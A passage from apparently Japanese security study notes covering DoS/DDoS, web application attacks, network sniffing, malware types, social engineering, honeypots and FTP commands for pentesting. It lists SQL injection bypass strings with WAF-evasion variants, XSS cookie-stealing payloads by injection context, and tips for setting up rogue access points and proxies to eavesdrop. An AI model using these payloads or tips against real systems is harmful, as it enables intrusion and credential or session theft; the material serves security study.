なおICMP/UDPフラッド攻撃はIPv6ではブロードキャストアドレスがないためこの攻撃はできない

IPアドレス増幅攻撃

IPアドレス増幅攻撃は上記のフラッド系攻撃にIPアドレスを偽装することで効果を高めることを目指すもの。 代表的なものにはSmurf攻撃Fraggle攻撃がある。

4.4.4. アプリケーションロジックエラータイプの攻撃

アプリケーションロジックエラーはアプリケーションの脆弱性を攻撃するもの。 この攻撃は基本的にアクセス権の取得を目的に使われることがある。

Ping of Death攻撃(現在使用不能)

pingとして送るパケットを65535Byteにして送る攻撃。 これはICMPのデータ格納領域を悪用して65535Byteを超えるICMPパケットを送り送信し、受け取った相手のホストをダウンさせるものであった。 この攻撃は現在ほとんどのOSで対応されているため利用不可能となっている。

WinNuke攻撃(現在ほとんど使用不能)

WinNuke攻撃は139/tcpにOOB(Out Of Bounds)というリクエストを送る攻撃。 受け取ったOSが古いWindows OSだとWindowsがハングアップするものとなっている。

E-mail Bombing攻撃

E-mail Bombing攻撃(メール爆弾攻撃)は大きなサイズのメール(添付ファイルを含む)を大量にメールサーバに送ることによりメールサーバのリソースを消費させる攻撃。

SLOW HTTP攻撃

SLOW HTTP攻撃はウェブサーバに対する攻撃手法。 この攻撃は攻撃者がウェブサーバに対して大量のHTTPリクエストを送り、そのリクエストを処理する際にサーバのリソースを消耗させることを目的としてる。 攻撃者はこの際に通常、サーバのリソースを過度に消費するリクエストを意図的に遅らせ、サーバーのリソース枯渇を引き起こすことを試みる。

特徴は以下の通り。

  • 遅延されたリクエスト … 攻撃者はリクエストを遅らせるために、リクエストヘッダーの送信を遅くするか、リクエストボディのデータ送信を遅くして送信する
  • 持続的な接続 … 攻撃者は通常リクエストを保持する持続的な接続を使用して攻撃を実行する
  • リソースの消耗 … サーバはリクエストを待機中にリソース(CPU、メモリ、ネットワーク帯域幅)を浪費し、正規のクライアントへのサービス提供に支障をきたすことがある

またSLOW HTTP攻撃の対策は以下内容を目指すことで実現できる。

設定内容説明
リクエストタイムアウトの設定サーバー側でリクエストの最大処理時間を設定し遅延リクエストに対処できるようにする。
リクエスト数の制限単一のIPアドレスからのリクエスト数を制限することで過剰なリクエストをブロックできる。
リクエストヘッダーの検証異常なヘッダーを持つリクエストをフィルタリングすることで攻撃を検出および防御できる。

4.5. DDoS攻撃の基礎

4.5.1. DDoS攻撃とは

DDos攻撃(Distributed Denial Of Service Attack)は分散型サービス拒否攻撃とも呼ばれる複数台で行う帯域幅消費型DoS攻撃手法のこと。 特徴は以下の通り。

  • 送るパケットは通常のパケット
  • TCPリクエストを使う
  • サービス運営側は通信を止めにくい(防衛が難しい)
  • 複数のホストからタイミングを合わせて送信することで攻撃を実現する

DDos

4.5.2. DDoS攻撃の特徴

攻撃者はたくさんのボットを仕込んだマシン(ゾンビマシン)で構成されるボットネットを用意し、ハンドラ(C&Cサーバ)と呼ばれるツールを用いてボットネットに通信支持を行うことで攻撃を実現する。

そのため攻撃者のホストは直接攻撃を行わない。

4.5.3. DRDoS攻撃

DRDoS攻撃(Distributed Reflection Of Service Attack)は分散型反射サービス拒否攻撃とも呼ばれるDDoS攻撃とIPスプーフィングを混合した攻撃手法のこと。

この攻撃ではボットネットは中間標的ターゲットのIPアドレスでリクエストをする特徴がある。 中間標的はこのリクエストにこたえるためにレスポンスをターゲットに送り付けるものとなっている。

DRDOS

4.5.6. DDoS攻撃の要素

DDoS攻撃を構成する要素には以下のようなものがある。

  • ボット
    • DoS攻撃を行うように設定されたプログラム
    • 外部からの指令やセットされたトリガーに基づき動作する
    • マルウェアの一種
  • ハンドラ
    • 複数のボットを制御するプログラム
    • 攻撃者の使用するボットに指令をするためのもの
  • ボットネット
    • ボットネットは複数のボットに感染したホストで構成されるネットワーク

4.5.6. DDoS攻撃を取り巻く現状

DDoS攻撃を行う攻撃者は組織化/エコシステム化していることが近年問題になっている。 これはボットネットを持つ攻撃者グループを犯罪組織/テロ組織/特定国家が支援していることが背景になる。 またそれらの団体は相互にボットネットを援助したりも行っている。

エコシステムは攻撃によって得られた情報をダークウェブ上の市場で共有したりする経済圏を指す。 これはダークウェブにおけるアンダーグラウンドが活性化する問題を孕んでいる。

7.5 - 5.Webアプリケーションへの攻撃

Webアプリケーションを攻撃するポイントに関する解説

5.1. Webアプリケーションとは

WebアプリケーションはWebサーバとユーザのインターフェイスから提供されるシステムを指す。

5.2. Webアプリケーションのリスク増大

近年はネットワークによるサービスの普及、例えばショッピングや金融取引/故郷サービスなどがWebアプリケーションにより提供されている。 また使用ユーザや端末の多様化がますますそれを増大させている。 これによりWebアプリケーションのリスクが以前よりも増大している。

5.2.1. リスク増大の原因

リスクが増大するのは以下の要因が考えらえる。

  • 動的サービスの必要性 … ユーザごとに異なる処理を提供する必要がある
  • 取り扱いデータの重要性の増大 … 取り扱うデータの内容に決済情報や個人情報などデータそのものの重要性が増大している
  • 構造的な問題 … そもそもHTTPSが重要なデータを扱った動的サービスの提供に向いている仕組みではないという問題がある

動的サービスの必要性

動的サービスを提供するには以下の内容を実装する必要がある。

  • ユーザに合わせて表示内容を変える
  • リアルタイムで情報を更新する
  • 端末などに応じて表示内容やデザインを変える

また動的サービスの開発実装に使うフレームワーク/アーキテクチャの数が増えるほど、脆弱性を生じる可能性は増えていく。

具体的には以下のプロセスで動的サービスをユーザごとに実現する。

  1. ユーザからの入力をパラメータとして利用
  2. エンドポイント技術(JavaScriptなど)を利用
  3. 様々な形式によるデータ送信(XML, JSON, SOAPなど)を利用

取り扱いデータの重要性の増大

取り扱いデータの重要性は以下内容をWEBアプリケーションで扱うようになったため増大している。

  • 個人情報
  • 金融情報
  • 損害/信頼失墜に結びつく情報

構造的な問題

そもそもHTTPは用意したファイルをWEBを通じて閲覧できることを目指したプロトコルであるため元の設計と現在求められている機能需要が構造的に乖離している構造的な問題がある。

  • HTTPの問題
    • デザインが古い
    • セッションの維持が非考慮
    • データの暗号化も非考慮

5.3. Webアプリケーション攻撃の種類

Webアプリケーションの攻撃の種類は大きく2つに分けられる。

  • サーバサイド攻撃
  • クライアントサイド攻撃
  • 上記2つの複合攻撃

5.3.1. サーバサイド攻撃

サーバサイド攻撃はWebアプリケーションを利用してWebサーバに攻撃を行うもの。 この攻撃の目的は以下の通り。

  • サーバのフットプリンティング
  • 機密情報の閲覧
  • アクセス権の取得

5.3.2. クライアントサイド攻撃

クライアントサイド攻撃はWebアプリケーションを利用してサービスを利用しているクライアントに攻撃を行うもの。 この攻撃の目的は以下の通り。

  • ユーザの機密情報閲覧
  • なりすまし
  • フィッシング
  • マルウェアの配布

5.4. Webアプリケーションの脆弱性の原因

Webアプリケーションの脆弱性が生じる原因のほとんどは開発者側のミスが原因となる。 例えば以下内容に関する知識や実装の不十分が脆弱性を引き起こさせる。

  • 攻撃に対する理解
  • CORS制約に対する理解
  • 単純な実装ミス
  • 開発言語の特性への理解
  • 仕様

5.5. 攻撃につながるWebアプリケーションの脆弱性

攻撃につながるアプリケーションの脆弱性には以下のようなものがある。

  • 入力値の検証(バリテーション)のミス
    • ユーザから入力値/環境変数の検証
    • バリテーションはフロントエンド/バックエンドともに実装する必要がある
  • エラー情報の表示
    • PHPなどのエラーメッセージが表示されその内容が流出
    • 表示される不適切なメッセージで列挙が可能
  • 表示時のエンコード
    • ユーザからの入力値をHTMLに含める際に適切なエンコードが施されていない
  • SQLの対策不備
    • ユーザからの入力値からDBクエリを作成する際に適切な対策をしない
  • 使用の不備/無計画な実装
  • その他の要因
    • 通信の暗号化
    • SSL証明書の問題

5.6. Webアプリケーションへの攻撃手法

Webアプリケーションの脆弱性に対する攻撃を一部簡単に紹介する。

5.6.1. ヘッダ・インジェクション攻撃

ヘッダ・インジェクション攻撃はWebアプリケーションやネットワークサービスに対するヘッダを悪用した攻撃のこと。

攻撃者は不正なデータ(通常はHTTPヘッダー)を送信し、システムがそのデータをそのまま処理することによって、サーバやアプリケーションのセキュリティを破ろうとするものとなっている。またこれはHTTPヘッダ・インジェクションとも呼ばれる。 またHTTPヘッダ・インジェクションはセッションハイジャックやクロスサイトスクリプティング(XSS)攻撃などともに利用されることの多い攻撃となっている。

5.6.2. OSコマンド・インジェクション

OSコマンド・インジェクションはWebアプリケーションやシステムが外部から提供されたデータを利用してOSコマンドを実行する場合に発生する脆弱性を悪用した攻撃のこと。

攻撃者はこの攻撃で不正なOSコマンドを挿入し、システムを操作したり、機密情報を盗んだり試みる。 この攻撃は不適切な入力検証やエスケープ処理の不備によって可能となる。

5.6.3. SQLインジェクション

SQLインジェクションはWebアプリケーションやデータベースシステムに対しては不正なSQLクエリを注入して送信しようとする攻撃のこと。

SQLインジェクションが成功すると、攻撃者はデータベースから情報を盗んだり、データを改ざんしたりすることができるものとなっている。 この攻撃は入力検証(バリテーション)や適切なエスケープ処理が行われていない場合に発生する。

具体的にはプログラムが発行するSQL構文中に不正な入力値を含めてしまうことで攻撃者が任意にDBを操作できてしまうというもの。

想定される被害

  • 認証の突破
  • 機密情報の漏洩
  • データの改ざん
  • その他セキュリティ要素の侵害

認証突破

もっとも初歩的なSQLインジェクションの方法。 一般的にwhere句が含まれるSQLに対して入力されるクエリとして' OR 1=1 --1' or '1' = '1';--がある。 なおMySQLの場合は

これはBooleanを使用した命令となっている。上記例は有名な例であるためWAFで検知しやすい。 単純なWAFの場合は「2=2」などで検知を回避できるが「=」で検知している場合もある。 1=1部の他の例は以下の通り。

  • 7>1
  • 'ab' LIKE 'a%'
  • 5 BETWEEN 1 AND 7

対象にWhere句でないもののが含まれる可能性がある場合(INSERTなど)は以下のようなものを使用する。

  • sleep()などの時間遅延(MYSQL)
  • a'||'bなどの文字列結合(Oracle DB)
  • a/**/bなどのインラインコメント

5.6.4. ディレクトリ・トラバーサル

ディレクトリ・トラバーサル(Directory Traversal)はセキュリティの脆弱性の1つで攻撃者がアクセスの許可されていないディレクトリにアクセスできること

攻撃者はWebアプリケーションやファイルシステム内のファイルにアクセスするために、通常許可されていないディレクトリに移動しようとする。 これにより機密情報への不正アクセスが可能ができる場合はディレクトリ・トラバーサルの脆弱性があることとなる。

5.6.5. オープンダイレクト

オープンダイレクト(Open Redirect)はWebアプリケーションのセキュリティの脆弱性の1つで攻撃者がリンクを介してユーザーを偽のウェブサイトに誘導することができる状況を指す。

攻撃者はリンクをクリックしたユーザを信頼性のあるウェブサイトから外部の不正なウェブサイトに誘導することができ、フィッシング攻撃や悪意のあるリダイレクトに悪用される可能性があるものとなっている。

5.6.6. クロスサイト・スクリプティング(XSS)

クロスサイト・スクリプティング(XSS)は攻撃者がウェブページに不正なスクリプトを挿入しユーザのブラウザで実行させることができることを可能にするもの

具体的にはユーザの入力をレスポンスに含めるときにタグやスクリプトをそのまま表示する脆弱性を利用したものとなっている。 この攻撃によりユーザーのセッション情報やクッキーが盗まれたり、不正なアクションが実行されたりする可能性がある。

想定される攻撃

クロスサイト・スクリプティングはフロントエンドの場合、攻撃の個所により想定される攻撃文字列の形が大体決まっている。

場所想定される攻撃文字列
HTML本文内<script>alert(document.cookie)</script> または <img src=“x” onerror=alert(document.cookie)>
タグ内の値“><script>alert(document.cookie)</script> または " onclick=alert(document.cookie)+”
タグ内のイベント値“;alert(document.cookie)+”
タグ内のイベントの引数);alert(document.cookie
Javascript内‘;alert(document.cookie);//

またREST APIなどで渡されたJSONをデコードしている場合は、エンコードした文字列を内部に含めることで脆弱性となる場合もある。

想定される被害

  • ホームページの改ざん
  • フィッシングサイトへの誘導
  • セッションIDの盗難

具体的な対策

  • エンコードサニタイズを実装する
  • 適切な入力検証やエスケープ処理の実装

またエンコードすべき文字は以下の通り。

文字列HTMLエンコードURLエンコード
<&lt;%3C
>&gt;%3E
'&#39;%27
"&quot;%22
&&amp;%26

言語としてはシングルクオーテーションをサニタイズしないものが多い。 そのため開発の際はしっかりできているか確認/ドキュメントを必読する必要がある。

5.6.7. クロスサイト・リクエストフォージェリ(CSRF)

CSRFは攻撃者がユーザを騙してユーザの認識や同意なしに、別のウェブサイトで利用者の許可なしに不正なアクションを実行させる攻撃のこと。 この攻撃にはターゲットサイトにおけるユーザの認証セッションを悪用することが含まれる。

一般的には攻撃者はこの攻撃でユーザをだまして特定の操作(例:アカウントの設定変更、資金の送金など)を実行させることを目的とする。

5.6.8. クリックジャッキング

クリックジャッキングは悪意のあるウェブサイトやWebアプリケーションが、ある要素(ボタンなど)をユーザーから隠したり偽装したりして、別のウェブサイトの正規に見える要素と重ね合わせること

ユーザが偽装された要素にアクセスすると、意図せずに隠された悪意のあるアクションを実行する。

5.6.9. MXインジェクション

MXインジェクションは攻撃者がメールサーバー(MX)設定に悪意のあるコードを操作または注入できるセキュリティ脆弱性を指す。 これは電子メールのトラフィックを傍受、変更、またはリダイレクトするために使用される可能性がある。 そのため、この攻撃はユーザの電子メール通信のセキュリティとプライバシを侵害する。

5.6.10. セッションハイジャック

セッションハイジャックは脆弱性を利用して他人のセッションIDを入手する攻撃を指す。 これはWebアプリケーションが基本的にはセッションIDでユーザを識別していることに由来する。

セッションIDの入手方法

基本的には以下の4つの手法がある。

  • ブルートフォースアタック(効果極小)
  • 推測攻撃(効果極小)
  • セッションの固定化
  • 盗み出し

セッション固定

セッション固定は複数の脆弱性から成り立つ脆弱性。 以下内容がそろったときにセッション固定の攻撃条件が整う。

  • URL引数からセッションIDを付け替えできる
  • ログイン成功時にセッションIDを変更しない
  • フィッシングが成功する

このように条件が複雑なため成功の可能性は低いと思われる。

盗み出し

直接セッションIDを盗み出す手法。 具体的には以下箇所より盗み出す。

  • Webサーバ(アクセス権の取得が必要)
  • 通信経路上(ネットワークの盗聴が必要)
  • クライアントPC(XSSやマルウェアの使用が必要)

5.7. Webアプリケーションの情報収集

Webアプリケーションの脆弱性に関する情報を収集する場合以下の点が基本となる。

  • Webアプリケーションのフットプリンティング
  • Webアプリケーションの攻撃情報

5.7.1. Webアプリケーションのフットプリンティング

Webアプリケーションのフットプリンティングの手法はいくつかあり、その基本内容を以下に示す。

  • URL構造の確認
  • エラーページへのアクセス(存在しないページへアクセスする)
  • SSL証明書のチェック
  • 隠されたコンテンツの閲覧
  • ブラウザ拡張機能Wapplyzerの活用

URL構造の確認

URLから情報が入手できる場合もあり、その場合のような場合である。

https://www.bikinisuki.jp/topic.aspx?data=20201015$sort=desc

この場合以下の点が確認可能。

  • SSLが使用されている
  • aspxで開発されている => WebサーバはIIS
  • データベースが使用されている可能性
  • DBの並び替え語句が使用されている

エラーページへのアクセス

エラーページで特にApache標準の404エラーが出る場合、実行しているApacheのバージョンやホストOSを確認できる。

SSL証明書のチェック

SSL証明書を閲覧することで、証明書の中にサーバ運営者の情報が記載されている場合がありそれを確認できる。

隠されたコンテンツの閲覧

robots.txt(クローラ用ファイル)などの隠しコンテンツからディレクトリ情報を確認する。

ブラウザ拡張機能 Wapplyzer の活用

WapplyzerはChromiumベースのブラウザ拡張機能であり、Webサイトに使用されている技術を確認できる機能を持つ。 これによりサイト構成技術を確認することができる。

5.7.2. Webアプリケーションの攻撃情報

Webアプリケーションへの攻撃情報の収集はアプリケーションごとに行う必要がある。 例えば以下の通り。

  • エントリポイントの特定
  • ファイルに関するパラメータ
  • DBの使用有無
  • 入力値検証の判断

エントリポイントの特定

エントリポイントの特定では以下の内容をチェックする

  • リクエスト時のパラメータ(エントリーポイント)
  • パラメータがアプリケーションに与える影響
  • レスポンス内の入力値

エントリポイントの特定はBurp Suiteと呼ばれるツールが適している。

Burp Suite : リバースプロキシ機能(Webブラウザからのリクエストを送信前/レスポンスからの表示前にインタセプト)する機能がある。

またエントリポイントで確認すべき観点は以下の点がある。

  • 入力値の戻り値の確認
    • どこに戻るか
    • どうエンコードされるか
  • 特定文字列への反応
    • シングルクオーテーション
    • セミコロン
    • 改行コード
  • パラメータ値の使用方法の推測
    • ファイル
    • リダイレクト
    • JavaScriptの利用

7.6 - 6.ネットワークの盗聴

ネットワークのスニッフィングに関する解説

6.1. ネットワークの盗聴(スニッフィング)

ネットワークの盗聴はスニッフィングと呼ばれる。
特徴としては受動/能動攻撃は同一ネットワーク上でしか行えない
またいくつかの種類がある。

  • 受動的盗聴
  • 能動的盗聴
  • ルーティング
  • 無線盗聴

スニッフィングはインターネットで使われているイーサネットは同一のネットワークコリジョンでデータを共有している。そのためこの仕組みを悪用することで受動的盗聴が成り立つ。

通常はNICが自分宛て以外の通信を遮断するが、プロミスキャスモードに切り替えることで自分以外の通信を受信することができる。しかしながらこれはハブによるものの通信しか対象とできない。

近年ではスイッチングハブの普及により上記手法では困難になっている。

6.1.1. 受動的盗聴(パッシブスニッフィング)

ハブ接続ネットワークにおける、NICの処理をプロミスキャスモードに切り替えることで自分以外の通信を受信するようにしてスニッフィングを行う手法。

現在ではスイッチングハブの普及により困難。

6.1.2. 能動的盗聴(アクテイブスニッフィング)

この手法には以下の内容を組み合わせることで攻撃者のPCが正当であるとスイッチングハブなどに誤認させる。

  • MACスプーフィング
  • ARPスプーフィング

6.1.3. ルーティング

攻撃者の用意したホストを経由するようにターゲットを誘導しホスト上に流れるパケットを盗聴するもの。
以下の内容が含まれる。

  • WIFIの不正アクセスポイントの設置
  • 不正プロキシサーバの設置
  • ユーザネットワークの設定書き換え

6.1.4. 無線の盗聴

無線盗聴は無線電波自体を傍受し盗聴するもの。
盗聴にはWEP,WPA/WPA2,WPA3などのWifiの暗号を解読する必要がある。

6.2. 盗聴の手法

6.2.1. 受動/能動的盗聴の場合

これらの攻撃の場合はいくつかの盗聴ツールが必要となる。

  • スニファ
  • パケットキャプチャ
  • プロトコルアナライザ

具体的にはWireSharktcpdump/windumpなどがある。
スニファではフィルターをうまく使いこなせるテクニックがあるかで情報取得の度合いが変わる。

受動的盗聴

受動的盗聴の手順は以下の通り。

  1. NICのプロミスキャスモードに変更する
  2. 上記設定のマシンをハブに接続する
  3. スニファを起動してパケットを見る

能動的盗聴

能動的盗聴ではARPポイズニング攻撃を行うことで攻撃マシンを経由してターゲットが通信を行うように誘導するもの。

ツールとしてはKali Linux付属のCain&Abelの機能から利用可能。

6.2.2. ルーティングの場合

ネットワーク盗聴に利用可能なルーティングの応用は以下の通り。

  • WIFIの不正アクセスポイント
  • 不正プロキシサーバ
  • ユーザネットワークの設定書き換え

WIFIの不正アクセスポイント

これはAPを立ててつないできたユーザの通信を盗聴するというもの。
コツとしてはSSIDを信頼できそうな名前にする。パスワードを付けないなど。

不正プロキシサーバ

プロキシサーバを準備し、無料プロキシとしてインターネット上で宣伝する。 そしてつないできたユーザの通信を盗聴するというもの。

ネットワーク設定の変更

ユーザのローカルマシンの設定を変更する。
具体的にはDGWの変更プロキシの変更ネームサーバの変更などを行う。

7.7 - 7.マルウェア

不正なソフトウェア(マルウェア)に関する解説

7.1. マルウェアとは

マルウェアは悪意のあるソフトウェアの総称。
これはユーザにとって不正/有害な動きをすることを表す。

7.2. マルウェアの種類

マルウェアには以下のような種類がある。

  • ウィルス
  • ワーム
  • ランサムウェア
  • ボット
  • バックドア
  • ルートキット
  • スパイウェア
  • アドウェア

7.2.1. ウィルスとワーム

ウィルスとワームの特徴を表にまとめると以下の通り。

特徴感染方法
ウィルス自己複製してほかのプログラムに感染感染したファイルやプログラムがコピーされることで拡散
ワーム自己複製するがほかのプログラムに寄生しない自己自身で感染経路を見つけ出し拡散

7.2.2. ランサムウェア

ファイルやフォルダを暗号化し使用を制限することで解除するために身代金を要求するプログラム。
有名なものには2017年に流行したWannaCryがある。

7.2.3. スパイウェア

スパイウェアはシステム上のユーザ挙動を盗むもの
具体的には以下動作が対象になる。

  • キーボードストロークロガー
  • 通信盗聴
  • カメラ起動
  • 通話機能
  • ファイルの転送

7.2.4. アドウェア

アドウェアは広告を表示するソフトウェア

7.3. マルウェアの感染手法

7.3.1. マルウェアの感染手法の分類

マルウェアの感染手法を簡単に分類すると以下手順が考えられる。

  • 送信する
    • 通常の手法 … メールの添付やアダルトサイトや儲け話サイトなど開かさせる(フィッシング)
    • 通常ではない手法 … 脆弱性をついて送り込む
  • ダウンロードさせる … 人気のアプリに仕込む パッチを仕込む 人気アプリの追加モジュールを装う
  • 直接インストールする

7.4. マルウェアの解説

7.4.1. Mirai

Miraiは2016年に確認されたIoT端末への脅威となるマルウェア
過去最大級の規模のDDoS攻撃を引き起こしたと言われている。

工場出荷時の脆弱なパスワードが設定されたIPカメラやWIFIルータなどのIoT機器を狙いログインを何度も試行し感染を広げた。
感染した機器は攻撃者からの命令を受けターゲットに一斉リクエストを送り高負荷によるサーバダウン(DDoS)を引き起こさせた。

7.8 - 8.ソーシャルエンジニアリング

ソーシャルエンジニアリングに関する解説

8.1. ソーシャルエンジニアリング

ソーシャルエンジニアリングは他人を操りその人が持っている情報を聞き出したり、その人の権限を勝手に使うことを指す。
多くの場合、人間の心理的な好きや行動のミスに漬け込むものとなっている。

8.2. ソーシャルエンジニアリング攻撃が容易な組織の特徴

ソーシャルエンジニアリングへの対策が十分ではない組織の特徴は以下のようなものがある。

  • セキュリティの訓練不足
  • 情報へのアクセス管理が不十分
  • 組織単位で連絡が取れていない
  • セキュリティポリシの欠如

8.3. ソーシャルエンジニアリングの有効性

ソーシャルエンジニアリングは以下の観点から有効的な攻撃であると言える。

  • セキュリティの構成要素で最も漬け込みやすいのが人であるから
  • 検出が困難
  • 完全回避が困難
  • 防衛機器がない

8.4. ソーシャルエンジニアリングの目的

ソーシャルエンジニアリングの目的はいろいろあるが以下の補助として使われる場合がある。

  • ネットワーク攻撃の偵察フェーズとして
  • マルウェアを直接送り込む手段として
  • ネットワーク盗聴の準備として

8.5. ソーシャルエンジニアリングの手法

8.5.1. なりすまし

一般的には他人に成りすまして電話やメールで接触を行うもの。
またリバースソーシャルエンジニアリングと呼ばれるターゲットに話させるテクニックもある。

8.5.2. 現地に赴く

現地に赴くのは直接会話や情報を盗み見聞きできるのが特徴となる。

  • セキュリティゲートを通る場合
    • ピギーバッキングやテールゲーティングて侵入する
  • ダンプスターダイビング … ごみ箱/郵便受けをあさり情報を盗み出す
  • ショルダーハッキング … 後ろからのぞき見
  • PCにアクセス … マルウェアのUSBからインストール/キーロガなどの不正な装置の追加
  • 工作活動 … 電源/通信設備の破壊、監視カメラ/盗聴器の設置など

8.5.3. スピアフィッシング

メールなどのメッセージを用いたフィッシング。
特定サイトへの誘導や添付ファイルのDLと展開をさせることを目的とする。

8.5.4. SNS

SNSを使ってなりすましグループやコミュニティに参加する。

7.9 - 9.ハニーポット

意図的に攻撃される環境であるハニーポッドに関しての解説

9.1. ハニーポットの基礎

9.1.1. ハニーポットとは

ハニーポットは不正な攻撃者の行動・手法などを観察/分析する受動的/能動的な目的で設置される罠システムのこと。
仮想または実際のコンピューターシステムやネットワークを用いて構築する。

ハニーポット設置の目的は以下の通り。

  • 攻撃検出 … ハニーポットは攻撃者の活動を引き寄せ、検出し、その情報を解析/分析する
  • 研究と分析 … ハニーポットを攻撃のトレンドや攻撃手法の研究に使用する。

9.1.2. ハニーポットの分類

ハニーポットはその動作環境と仕組みの組み合わせによって種別を分類することができる。

動作環境ではサーバで動作するサーバ型、クライアントで動作するクライアント型がある。
仕組みでは実在環境を用意する高対話型、システムエミュレートする低対話型がある。

  • 高対話型ハニーポット … 実際のOSやアプリケーションを利用し、そこに残存している脆弱性などをそのまま不正攻撃者に対して弱点として見せる形式のハニーポット
  • 低対話型ハニーポット … 特定のOSやアプリケーションをエミュレーションして監視する形式のハニーポット

9.1.3. ハニーポットの種類

高対話型ハニーポットの特徴と種類

高対話型ハニーポットの特徴は以下の通り。

  • 攻撃者に関する情報が多い
  • システムやネットワークの構築に手間がかかる
  • 実際にOSやアプリケーションが攻撃を受けてしまう可能性がある

高対話型ハニーポットは不正な攻撃者に関して詳細な情報を取得・分析したい場合や、効果的な対策を講じたいような場合に向いている。
また高対話型ハニーポットは以下の通り。

種類説明URL
Dionaea脆弱性を模したサービスを展開して、マルウェアを収集するためのハニーポットhttps://github.com/DinoTools/dionaea
Honeyd仮想ネットワーク内で複数のハニーポットを展開https://github.com/DataSoft/Honeyd
GlastopfWebアプリケーション型のハニーポットhttps://github.com/mushorg/glastopf

低対話型ハニーポットの特徴と種類

低対話型ハニーポットの特徴は以下の通り。

  • システムやネットワークの構築が比較的簡便
  • 得られる情報量に限りがある

また低対話型ハニーポットは以下の通り。

種類説明URL
Cowrie中規模の対話型SSHとTelnetのハニーポット。ブルートフォース攻撃やシェルの対話が記録されるようになっている。https://github.com/micheloosterhof/cowrie
Honeytrapハニーポットの実行や監視をするためのハニーポットhttps://github.com/honeytrap/honeytrap
WOWHoneypotWebハニーポット。日本製
KippoSSHハニーポットで攻撃者がSSHにアクセスしようとする試行を記録するhttps://github.com/desaster/kippo
Snortネットワーク侵入検知システム兼ハニーポット
ThugWebハニーポットhttps://github.com/buffer/thug

9.1.4. ハニーポットの分類ごとの特徴

サーバ型×低対話型ハニーポット

サーバ上にハニーポット環境を構築し、攻撃者からの攻撃を待ち受けるタイプのハニーポット。

特徴は以下の通り。

  • 脆弱なサーバ環境をエミュレートしてログを記録しているため、不正なファイルを設置されたり、ファイルを盗まれたりする可能性が低い
  • ハニーポット自体に脆弱性があった場合は攻撃を受ける可能性がある
  • ハニーポットを検出する仕組みによって攻撃検出を回避される場合がある

サーバ型×高対話型ハニーポット

サーバ上に故意に脆弱な環境を構築し重要そうなファイルなどを設置し攻撃を待ち受けるタイプのハニーポット。

特徴は以下の通り。

  • 低対話型のものよりも攻撃ログが正確に記録されやすい
  • 攻撃された後のリカバリができるようにアウトバンド通信の制限や設定を適切にする必要がある。
  • ハニーポット運用玄人向けの構成

クライアント型×低対話型ハニーポット

通常のPC上にインストールしたハニーポットソフトウェアを利用してさまざまな環境(ユーザーエージェントなど)をエミュレートして悪性のウェブサイトにアクセスしたり、脆弱なソフトウェア(Flash や Adobe Acrobat Reader など)のエミュレートをしてファイルを開き、どのようにマルウェア感染をするかなどのログを取得するタイプのハニーポット。

特徴は以下の通り。

  • 脆弱なサーバ環境をエミュレートしてログを記録しているため、不正なファイルを設置されたり、ファイルを盗まれたりする可能性が低い
  • ハニーポット自体に脆弱性があった場合は攻撃を受ける可能性がある

クライアント型×高対話型ハニーポット

故意にセキュリティパッチの当たっていないOSやソフトウェアを利用し、悪意のウェブサイトにアクセスしたり、悪性のファイルを開いたりするタイプのハニーポット。

運用のためには通常は利用していないPCを利用し、現状回復が容易にできるようにしておく必要がある。

9.1.5. ハニーポット運用の目的

ハニーポット運用のためには、まずは目的を明確にしてからハニーポットを選定する必要がある。 それは取得したい情報の種類や目的を明確化することにより、より効果的な運用を行うためである。

ハニーポット運用の目的と運用例は以下の通り。

運用対象
ランサムウェアwanna cryが現在も活動しているか知りたい・Wannacry(pt)が観測できるよう改良された Dionaeaハニーポットを利用する
Wordpressを運用しているため、Wordpressへの攻撃を観測したい・Dockerコンテナ上で動くHoneyPressハニーポットを利用する
Wordpressプラグインとして利用できるwp-smart-honeypotを利用する
Apache Struts2を利用しているサービスを運用しているため、Struts2への攻撃を監視したいCVE2017-5638 の脆弱性を悪性した攻撃を検出する StrutsHoneypotを利用する
2016年に流行したIOTボットの活動の調査をしたいtelnet/sshへの攻撃観測できるCowrieハニーポットを利用する
MongoDBなどのデータベースを狙った攻撃を知りたいMongoDB-Honeyproxyを利用する
目的が複数あるので複数のハニーポットを使用したい複合ハニーポットのT-Potを利用する

9.2. 主要なハニーポット一覧

9.2.1. 低対話ハニーポット

Dionaea

攻撃者からマルウェアのコピーを手に入れることを目的としたマルウェア収集用ハニーポット。

可視化にはDionaeaFRを導入する。

https://dionaea.readthedocs.io/en/latest/index.html

提供サービスは以下の通り。

ポートサービス
21/TCPFTP
42/TCPNameServer
80/TCPHTTP
135/TCPMSRPC
443/TCPHTTPS
445/TCPMicrosoft-ds
1433/TCPMSSQL
3306/TCPMySQL
5060/TCPSIP
5061/TCPSIP-TLS

ログなどは以下のディレクトリに保存される。

ディレクトリ説明
/opt/dionaea/binaries/マルウェアが配置されるディレクトリ
/opt/dionaea/bistreams/攻撃者からの通信の記録が保存されるディレクトリ
/opt/dionaea/log/Dinaeaのログが保存されるディレクトリ
/opt/dionaea/rtp/SIP のセッションデータが記録される
/opt/dionaea/wwwroot/Webドキュメントルート

Cowrie

Elasticpot

Glastopf

HoneyTrap

9.2.2. 高対話ハニーポット

8 - システムペネトレーション基礎

ペネトレーションテスト/CTF(Pwnable)の際に必要となるポイントの解説

8.1 - 1.スキャニング

攻撃前のスキャニング(ポート調査)に関するポイント

1.1. サービスへの接続

1.1.1. FTP(21)

FTPはファイル転送プロトコルと呼ばれ、異なるシステムの異なるコンピュータ間でのファイル転送を効率的に行うために開発された。

TelnetによるFTP接続

TelnetでFTP接続を行うことも可能。 しかしTelnetではファイルを転送はできない

  1. telnet IPアドレス 21
  2. ユーザ名/パスワードを入力しEnter

ログイン後は以下コマンドで操作が可能。

# ログイン
USER [ユーザ名]
PASS [パスワード]

# 追加情報の表示(システムタイプの表示)
SYST

# パッシブモード/アクテイブモードの切り替え
PASV

# TYPE [A|I]でファイル転送モードをASCII/Binaryに切り替え
TYPE [A|I]

FTPへの接続

ftp [IPアドレス | URL]

anonymous FTPの場合のユーザ名はanonymous

FTPのコマンド

ftp> [コマンド]
コマンド説明
USER (username)
PASS (password)
ログイン情報の記述。
ls -la隠しファイルも表示。。
get (リモートファイル名) (ローカルファイル名)サーバのファイルをパソコンに転送。
mget (リモートファイル名 […])サーバの複数のファイルをパソコンに転送。
mput (ローカルファイル名 […])パソコンの複数のファイルをサーバに転送。
put (ローカルファイル名) (リモートファイル名)パソコンのファイルをサーバに転送。
type (転送モード)現在のファイル転送モードを表示。
passiveパッシブモードへの変換
binarybinaryモードへの変換(ファイルDL時に使用)

1.1.2. SSH(22)

